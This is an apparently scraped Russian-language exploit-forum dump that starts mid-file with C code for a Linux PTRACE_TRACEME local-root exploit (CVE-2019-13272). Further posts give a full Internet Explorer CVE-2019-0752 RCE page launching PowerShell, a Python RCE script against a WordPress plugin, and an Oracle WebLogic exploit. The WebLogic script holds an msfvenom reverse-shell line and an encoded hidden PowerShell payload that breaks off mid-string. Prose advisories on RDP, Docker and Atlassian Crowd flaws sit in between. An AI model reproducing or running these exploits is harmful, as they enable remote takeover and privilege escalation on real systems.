  int needle_length = strlen(needle);

  while (fgets(line, sizeof(line)-1, fp) != NULL) {
    /* check the action uses allow_active=yes*/
    if (strstr(line, "implicit active:")) {
      if (strstr(line, "yes")) {
        useful_action = 1;
      }
      continue;
    }

    if (useful_action == 0)
      continue;
    useful_action = 0;

    /* extract the helper path */
    int length = strlen(line);
    char* found = memmem(&line[0], length, needle, needle_length);
    if (found == NULL)
      continue;

    memset(buffer, 0, sizeof(buffer));
    for (int i = 0; found[needle_length + i] != '\n'; i++) {
      if (i >= sizeof(buffer)-1)
        continue;
      buffer[i] = found[needle_length + i];
    }

    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
      strstr(&buffer[0], "/cpugovctl") != 0 ||
      strstr(&buffer[0], "/package-system-locked") != 0 ||
      strstr(&buffer[0], "/cddistupgrader") != 0) {
      dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
      continue;
    }

    /* check the path exists */
    if (stat(&buffer[0], &st) != 0)
      continue;

    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
    helper_index++;

    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
      break;
  }

  pclose(fp);
  return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
  dprintf("[.] Using helper: %s\n", helper_path);

  /*
   * set up a pipe such that the next write to it will block: packet mode,
   * limited to one packet
   */
  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
  char dummy = 0;
  SAFE(write(block_pipe[1], &dummy, 1));

  /* spawn pkexec in a child, and continue here once our child is in execve() */
  dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
  static char middle_stack[1024*1024];
  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
  if (!middle_success) return 1;

  /*
   * wait for our child to go through both execve() calls (first pkexec, then
   * the executable permitted by polkit policy).
   */
  while (1) {
    int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
    char buf[16];
    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
    buf[buflen] = '\0';
    *strchrnul(buf, '\n') = '\0';
    if (strncmp(buf, basename(helper_path), 15) == 0)
      break;
    usleep(100000);
  }

  /*
   * our child should have gone through both the privileged execve() and the
   * following execve() here
   */
  dprintf("[.] Tracing midpid ...\n");
  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
  SAFE(waitpid(midpid, &dummy_status, 0));
  dprintf("[~] Attached to midpid\n");

  force_exec_and_wait(midpid, 0, "stage2");
  exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
  if (strcmp(argv[0], "stage2") == 0)
    return middle_stage2();
  if (strcmp(argv[0], "stage3") == 0)
    return spawn_shell();

  dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

  check_env();

  if (argc > 1 && strcmp(argv[1], "check") == 0) {
    exit(0);
  }

  /* Search for known helpers defined in 'known_helpers' array */
  dprintf("[.] Searching for known helpers ...\n");
  for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
    if (stat(known_helpers[i], &st) == 0) {
      helper_path = known_helpers[i];
      dprintf("[~] Found known helper: %s\n", helper_path);
      ptrace_traceme_root();
    }
  }

  /* Search polkit policies for helper executables */
  dprintf("[.] Searching for useful helpers ...\n");
  find_helpers();
  for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
    if (helpers[i] == NULL)
      break;

    if (stat(helpers[i], &st) == 0) {
      helper_path = helpers[i];
      ptrace_traceme_root();
    }
  }

  return 0;
}
RCE, Atlassian Crowd & Crowd Data Center, CVE-2019-11580
ID: 67686ba3b4103b69df379ce1
Thread ID: 30456
Created: 2019-07-17T08:30:55+0000
Last Post: 2019-07-17T08:30:55+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 2K

Уязвимость затрагивает версии Atlassian Crowd и Crowd Data Center 2.1.0 – 3.0.4, 3.1.0 – 3.1.5, 3.2.0 – 3.2.7, 3.3.0 – 3.3.4, 3.4.0 – 3.4.3.

Spoiler: Полный список таргетов

Atlassian Crowd Data Center 3.4.3
Atlassian Crowd Data Center 3.4
Atlassian Crowd Data Center 3.3.4
Atlassian Crowd Data Center 3.3
Atlassian Crowd Data Center 3.2.7
Atlassian Crowd Data Center 3.2
Atlassian Crowd Data Center 3.1.5
Atlassian Crowd Data Center 3.1
Atlassian Crowd Data Center 3.0.4
Atlassian Crowd Data Center 2.1
Atlassian Crowd 3.4.3
Atlassian Crowd 3.4
Atlassian Crowd 3.3.4
Atlassian Crowd 3.3.3
Atlassian Crowd 3.3.1
Atlassian Crowd 3.3
Atlassian Crowd 3.2.7
Atlassian Crowd 3.2.6
Atlassian Crowd 3.2.5
Atlassian Crowd 3.2.4
Atlassian Crowd 3.2.3
Atlassian Crowd 3.2.1
Atlassian Crowd 3.2
Atlassian Crowd 3.1.5
Atlassian Crowd 3.1
Atlassian Crowd 3.0.4
Atlassian Crowd 2.11.1
Atlassian Crowd 2.11
Atlassian Crowd 2.10.3
Atlassian Crowd 2.10.1
Atlassian Crowd 2.9.7
Atlassian Crowd 2.9.5
Atlassian Crowd 2.9.4
Atlassian Crowd 2.9.3
Atlassian Crowd 2.9.2
Atlassian Crowd 2.9.1
Atlassian Crowd 2.9
Atlassian Crowd 2.8.8
Atlassian Crowd 2.8.3
Atlassian Crowd 2.6.3
Atlassian Crowd 2.6.2
Atlassian Crowd 2.5.4
Atlassian Crowd 2.5.3
Atlassian Crowd 2.4.9
Atlassian Crowd 2.3.8
Atlassian Crowd 2.1
Atlassian Crowd 2.7
Atlassian Crowd 2.6.1
Atlassian Crowd 2.6.0
Atlassian Crowd 2.5.2
Atlassian Crowd 2.5.1
Atlassian Crowd 2.5.0
Atlassian Crowd 2.4.1
Atlassian Crowd 2.4
Atlassian Crowd 2.3.7
Atlassian Crowd 2.3.6
Atlassian Crowd 2.3.4
Atlassian Crowd 2.3.3
Atlassian Crowd 2.3.2
Atlassian Crowd 2.3.1
Atlassian Crowd 2.2.9
Atlassian Crowd 2.2.7
Atlassian Crowd 2.2.4
Atlassian Crowd 2.2.2
Atlassian Crowd 2.1.2
Atlassian Crowd 2.1.1

Chrome 72.0.3626.97, CVE-N\A
ID: 67686ba3b4103b69df379ce2
Thread ID: 30427
Created: 2019-07-15T14:51:46+0000
Last Post: 2019-07-15T14:51:46+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 2K

Исходный код эксплоита, который использует несколько уязвимостей в Chrome:
Integer overflow в v8
далее уязвимость в реализации pdf sandbox'a
далее NTLM reflection

Истоник: https://bugs.chromium.org/p/project-zero/issues/detail?id=1793

Lock Screen Local Security Bypass, Microsoft Windows, CVE-2019-9510
ID: 67686ba3b4103b69df379ce5
Thread ID: 29659
Created: 2019-06-05T13:28:14+0000
Last Post: 2019-06-05T13:28:14+0000
Author: NyanCat
Prefix: Local
Replies: 0 Views: 2K

На днях исследователь безопасности раскрыл детали новой уязвимости в протоколе удаленного рабочего стола Microsoft Windows (RDP).

![](/proxy.php?image=https%3A%2F%2Fhsto.org%2Fwebt%2F21%2Fbc%2Ffm%2F21bcfmlc2zqin- zew90uh3totxm.png&hash=e31aa7f1892783d9119b5eb4443f29cf)

Уязвимость CVE-2019-9510 позволяет злоумышленникам на стороне клиента обойти экран блокировки в сеансах удаленного рабочего стола.

Джо Таммариелло (Joe Tammariello) из Института разработки программного обеспечения Университета Карнеги-Меллона обнаружил данную уязвимость. Для использования уязвимости необходимо, чтобы для аутентификации RDP использовался Network Level Authentication (NLA). Кстати, именно NLA недавно сами Microsoft рекомендовали в для защиты от уязвимости BlueKeep RDP (CVE-2019-0708).

Как подтверждает Уилл Дорманн (Will Dormann), аналитик из CERT / CC, если аномалия сети вызывает временное разъединение RDP, когда клиент уже был подключен к серверу, но экран входа в систему заблокирован, то «после переподключения сеанс RDP будет восстановлен до предыдущего состояния (с разблокированным окном), независимо от того, как удаленная система была оставлена".

«Начиная с Windows 10 1803 и Windows Server 2019, обработка RDP сеансов на основе NLA изменилась таким образом, что это может привести к неожиданному поведению в отношении блокировки сеансов», — объясняет Дорманн в своей статье.

«Системы двухфакторной аутентификации, которые интегрируются с экраном входа Windows, такие как Duo Security MFA, также могут обходиться с помощью этого механизма. Любые баннеры входа в систему, применяемые организацией, также будут обойдены».

Proof of Concept

Видео от Леандро Веласко из исследовательской группы KPN Security, демонстрирующее, как легко использовать эту уязвимость.

CERT описывает сценарий атаки следующим образом:

Пользователь подключается к системе Windows 10 или Server 2019 через RDS.
Пользователь блокирует удаленный сеанс и оставляет клиентское устройство без присмотра.
На этом этапе злоумышленник, имеющий доступ к клиентскому устройству, может прервать подключение к сети и получить доступ к удаленной системе без необходимости каких-либо учетных данных.

Это означает, что использование этой уязвимости очень тривиально, поскольку злоумышленнику просто нужно прервать сетевое подключение целевой системы.
Однако, поскольку злоумышленнику требуется физический доступ к такой целевой системе (то есть активному сеансу с заблокированным экраном), сам сценарий подходит к очень ограниченному числу кейсов.

Таммариелло уведомил Microsoft об этой уязвимости 19 апреля, но компания ответила, что «поведение не соответствует Microsoft Security Servicing Criteria для Windows», что означает, что технический гигант не планирует исправлять проблему в ближайшее время.

Однако пользователи могут защитить себя от возможного использования этой уязвимости, блокируя локальную систему вместо удаленной системы и отключая сеансы удаленного рабочего стола вместо простой блокировки.

ORIG - habr

Arbitrary File Access, docker (all versions), CVE-2018-15664
ID: 67686ba3b4103b69df379ce6
Thread ID: 29562
Created: 2019-05-29T18:54:54+0000
Last Post: 2019-05-29T18:54:54+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

В инструментарии для управления изолированными Linux-контейнерами Docker выявлена уязвимость ([CVE-2018-15664](https://security- tracker.debian.org/tracker/CVE-2018-15664)), которая при определённом стечении обстоятельств позволяет получить доступ к хост-окружению из контейнера при наличии возможности запуска своих образов в системе или при доступе к выполняемому контейнеру. Проблема проявляется во всех версиях Docker и остаётся неисправленной (предложен, но пока не принят, патч, реализующий приостановку работы контейнера на время выполнения операций с ФС).

Уязвимость позволяет извлечь файлы из контейнера в произвольную часть ФС хост- системы при выполнении команды "docker cp". Извлечение файлов выполняется с правами root, что даёт возможность прочитать или записать любые файлы в хост- окружении, чего достаточно для получения контроля за хост-системой (например, можно переписать /etc/shadow).

Атака может быть совершена только в момент выполнения администратором команды "docker cp" для копирования файлов в контейнер или из него. Таким образом атакующему необходимо каким-то образом убедить администратора Docker в необходимости выполнения этой операции и предугадать используемый при копировании путь. С другой стороны атака может быть совершена, например, при предоставлении облачными сервисами средств для копирования файлов конфигурации в контейнер, построенных с использованием команды "docker cp".

Проблема вызвана недоработкой в применении функции FollowSymlinkInScope, вычисляющей абсолютный путь в основной ФС на основании относительного пути, учитывающего размещение контейнера. В процессе выполнения команды "docker cp" возникает кратковременное состояние гонки, при котором путь уже проверен, но операция ещё не выполнена. Так как копирование производится в контексте основной ФС хост-системы в указанный промежуток времени можно успеть подменить ссылку на другой путь и инициировать копирование данных в произвольное место файловой системы вне контейнера.

Так как временное окно проявления состояния гонки сильно ограничено в подготовленном [прототипе эксплоита](https://www.openwall.com/lists/oss- security/2019/05/28/1/1) при выполнении операций копирования из контейнера удалось добиться проведения успешной атаки в менее 1% случаев при цикличной подмене символической ссылки в пути, используемом в операции копирования (успешная атака была совершена после примерно 10 секунд попыток непрерывно в цикле скопировать файл командой "docker cp").

При выполнении операции копирования в контейнер можно добиться повторяемой атаки по перезаписи файла в хост-системе всего в несколько итераций. Возможность атаки связана с тем, что при копировании в контейнер применяется концепция "chrootarchive", в соответствии с которой процесс archive.go извлекает архив не в chroot корня контейнера, а в chroot родительского каталога целевого пути, подконтрольного атакующему и не останавливает при этом выполнение контейнера (chroot используется как признак для эксплуатации состояния гонки).

CVE-2018-15664: docker (all versions) is vulnerable to a symlink-race attack - https://seclists.org/oss-sec/2019/q2/131

RCE, Microsoft Internet Explorer 11-10, CVE-2019-0752
ID: 67686ba3b4103b69df379ce7
Thread ID: 29505
Created: 2019-05-25T12:56:14+0000
Last Post: 2019-05-25T12:56:14+0000
Author: weaver
Prefix: DoS
Replies: 0 Views: 2K

Spoiler: Таргеты

Vulnerable: Microsoft Internet Explorer 11
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows 10 Version 1803 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1803 for x64-based Systems 0
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
Microsoft Internet Explorer 10
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 8 for 32-bit Systems 0
+ Microsoft Windows 8 for 32-bit Systems 0
+ Microsoft Windows 8 for x64-based Systems 0
+ Microsoft Windows 8 for x64-based Systems 0
+ Microsoft Windows RT 0
+ Microsoft Windows RT 0
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2012 0
+ Microsoft Windows Server 2012 0
+ Microsoft Windows Server 2012 0

Инфо
[https://www.zerodayinitiative.com/b...on-of-a-write-what-where-in-internet- explorer](https://www.zerodayinitiative.com/blog/2019/5/21/rce-without-native- code-exploitation-of-a-write-what-where-in-internet-explorer)

exploit.html

HTML:Copy to clipboard

<!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752                                      -->
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level)               -->
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->

<!-- Tgroupcrew@gmail.com -->

<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get    -->
<!-- all the way to RCE using no shellcode.                                                     -->

<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10.                              -->
<!--    (h/t: James Forshaw, Google Project Zero)                                               -->

<html>
<meta http-equiv="x-ua-compatible" content="IE=8">
<meta http-equiv="Expires" content="-1">
<body>
    <div id="container1" style="overflow:scroll; width: 10px">
        <div id="content1" style="width:5000000px">
            Content
        </div>
    </div>
<script language="VBScript.Encode">
Dim ar1(&h3000000)
Dim ar2(1000)
Dim gremlin
addressOfGremlin = &h28281000
Class MyClass
    Private mValue
    Public Property Let Value(v)
        mValue = v
    End Property
    Public Default Property Get P
        P = mValue                ' Where to write
    End Property
End Class
Sub TriggerWrite(where, val)
    Dim v1
    Set v1 = document.getElementById("container1")
    v1.scrollLeft = val        ' Write this value (Maximum: 0x001767dd)
    Dim c
    Set c = new MyClass
    c.Value = where
    Set v1.scrollLeft = c
End Sub
' Our vulnerability does not immediately give us an unrestricted
' write (though we could manufacture one). For our purposes, the
' following is sufficient. It writes an arbitrary DWORD to an
' arbitrary location, and sets the subsequent 3 bytes to zero.
Sub WriteInt32With3ByteZeroTrailer(addr, val)
    TriggerWrite addr    , (val) AND &hff
    TriggerWrite addr + 1, (val\&h100) AND &hff
    TriggerWrite addr + 2, (val\&h10000) AND &hff
    TriggerWrite addr + 3, (val\&h1000000) AND &hff
End Sub
Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)
    For i = 0 To Len(str) - 1
        TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))
    Next
End Sub
Function ReadInt32(addr)
    WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr
    ReadInt32 = ar1(gremlin)
End Function
Function LeakAddressOfObject(obj)
    Set ar1(gremlin + 1) = obj
    LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)
End Function
Sub Exploit()
    ' Corrupt vt of one array element (the "gremlin")
    TriggerWrite addressOfGremlin, &h4003    ' VT_BYREF | VT_I4
    For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100
        If Not IsEmpty(ar1(i)) Then
            gremlin = i
            Exit For
        End If
    Next
   
    If IsEmpty(gremlin) Then
        MsgBox "Could not find gremlin"
        Exit Sub
    End If
   
    For i = 0 To UBound(ar2)
        Set ar2(i) = CreateObject("Scripting.Dictionary")
    Next
   
    Set dict = ar2(UBound(ar2) / 2)
    addressOfDict = LeakAddressOfObject(dict)
    vtableOfDict = ReadInt32(addressOfDict)
    scrrun = vtableOfDict - &h11fc
    kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90
    winExec = kernel32 + &h5d380
   
    dict.Exists "dummy"        ' Make a dispatch call, just to populate pld
    ' Relocate pld to ensure its address doesn't contain a null byte
    pld = ReadInt32(addressOfDict + &h3c)
    fakePld = &h28281020
    For i = 0 To 3 - 1
        WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)
    Next
   
    fakeVtable = &h28282828        ' ASCII "(((("
    For i = 0 To 21
        If i = 12 Then        ' Dictionary.Exists
            fptr = winExec
        Else
            fptr = ReadInt32(vtableOfDict + 4 * i)
        End If
        WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr
    Next
   
    WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"
    WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld
    WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""
   
    On Error Resume Next
    dict.Exists "dummy"        ' Wheeee!!
   
    ' A little cleanup to help prevent crashes after the exploit
    For i = 1 To 3
        WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict
        WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2
    Next
    Erase Dict
    Erase ar2
End Sub
Exploit
</script>
</body>
</html>
RCE, (Wordpress) Social Warfare Plugin <=3.5.2, CVE-2019-9978
ID: 67686ba3b4103b69df379ce9
Thread ID: 29131
Created: 2019-05-06T07:16:24+0000
Last Post: 2019-05-06T07:16:24+0000
Author: weaver
Prefix: Web
Replies: 0 Views: 2K

Python:Copy to clipboard

# Title: RCE in Social Warfare Plugin ( <=3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Version: <= 3.5.2
# CVE: CVE-2019-9978

import sys
import requests
import re
import urlparse
import optparse

class EXPLOIT:

    VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"

    def __init__(self, _t, _p):
        self.target  = _t
        self.payload = _p

    def engage(self):
        uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
        r = requests.get( uri )
        if r.status_code == 500:
            print "[*] Received Response From Server!"
            rr  = r.text
            obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))
            if obj:
                resp = obj.groups()[0]
                if resp:
                    print "[<] Received: "
                    print resp.replace( "lnbreak", "\n" )
                else:
                    sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
            else:
                sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
        else:
            sys.exit( "[~] Unexpected Status Received!" )

def main():
    parser = optparse.OptionParser(  )

    parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
    parser.add_option( ''  , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )

    (options, args) = parser.parse_args()

    print "[>] Sending Payload to System!"
    exploit = EXPLOIT( options.target, options.payload )
    exploit.engage()

if __name__ == "__main__":
    main()
RCE, Oracle Weblogic 10.3.6.0.0 / 12.1.3.0.0, CVE-2019-2725
ID: 67686ba3b4103b69df379cea
Thread ID: 29102
Created: 2019-05-04T06:51:49+0000
Last Post: 2019-05-04T06:51:49+0000
Author: weaver
Prefix: Web
Replies: 0 Views: 2K

Python:Copy to clipboard

#!/usr/bin/python

# Exploit Title: Oracle Weblogic Exploit CVE-2019-2725
# Date: 30/04/2019
# Exploit Author: Avinash Kumar Thapa
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html
# Version: Oracle WebLogic Server, versions 10.3.6.0.0, 12.1.3.0.0
# Tested on:
    #OS: Windows 2012 R2 (Build 9600).
    #Architecture    : x64
    #System Language : en_US


# CVE : CVE-2019-2725


# Script Usage:
# python exploit.py http://IP:PORT/_async/AsyncResponseServiceHttps
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=1234 -f psh-cmd > exploit.ps1
# Add the powershell command in the variable

__author__ = "Avinash Kumar Thapa"
__description__ = """
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services). Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server

CREDIT STATEMENT:
The following people or organizations reported security vulnerabilities addressed by this Security Alert to Oracle:

Badcode of Knownsec 404 Team: CVE-2019-2725
Hongwei Pan of Minsheng Banking Corp.: CVE-2019-2725
Liao Xinxi of NSFOCUS Security Team: CVE-2019-2725
Lin Zheng of Minsheng Banking Corp.: CVE-2019-2725
Song Keya of Minsheng Banking Corp.: CVE-2019-2725
Tianlei Li of Minsheng Banking Corp.: CVE-2019-2725
ZengShuai Hao: CVE-2019-2725
Zhiyi Zhang of 360 ESG Codesafe Team: CVE-2019-2725

"""

import requests
import sys

print "Exploit Written by Avinash Kumar Thapa"


exploit = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABQAFcAeAAxAHcAQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAagA5AEQAMQBhAEYAWgBGAHMAaABHAEIATABhAE4ASgBFAHEAMwBaAHAAWABVADUAeQBZAE8AQgBBAEkAaAAwADQAYgBlADIAMgBXAHIATAAzAEUAWABoAE8AZwAxAC8AOQArAHMAMgBDAG4ANgBUAFcAdAAyAHAAUABPADQAbQBWAGYAWgBtAFoAbgBuAG4AbABtADEAawBFAFcAZQA0AEwAeQBXAEYAawBzAHUAZgBMADUAegBlAEcAQgBnAHgATQBjAEsAVgBvAHAAYQBrADMASwBTAG0AbgBWAGEANQArAG0AKwBzAEUAQgBiAEoAUgBXAFYAawBmADUAcQBHAGgAVAB0AEYAdwAyAGUAWQBSAHAAUABMAHUANABhAEcAUgBKAFEAbQBLAHgAbgAxAGMANgBSAEsAQQAwAEoAZABFADkAbwB5AFQAVgBkAE8AVgB2ADUAWABaAE8ARQBuAEoAOABkAGIAOABnAG4AbABBACsASwA2AFcALwBLAGgAMwBHADcAegBIAEwAeABUAFkATgA3AE0AMgBKAGMAbwB4AGkAWAArADcAMQB1AFkAZQBsAE0AeABWADMAeQBhAGoAUQAxAEQALwAvAFYAUABYAHAAYwBXADEAVwBhAFQAMQBtAG0ASwBXAGEANgBtADUAUwBRAGEASwBLAHoANQBpAHEASwAxADkAMABlAGUARABOAFoAawBrADAAMQBhAFoAZQB3AGwATQBlAGkATQBvAHQAagBVADkAUABLAHMATQA0AHgAUQBHADUAQgBHAHMAcgBZAGgATQB4ADUAMwA2AHEANgBoAEEARQBmAEIASQBpAHMAaQBSAFcAWgBEAGgAUwBmADcAKwByAHEAVABCADAARQB1ADQAaAAzADAAOQBJAG0AcQBwAGwAWgBTAG8AdABUADIAZQB6AFAANwBSAHAAZgB1AHgAMQBGAGcAcwBhAGsAWQBvAFYAQwA1AEwAdwBwAFUAdQBTAEYAZgBWAEkAVwB1AG4AaQAyAEcAZgBrAG0AZwBRAHoA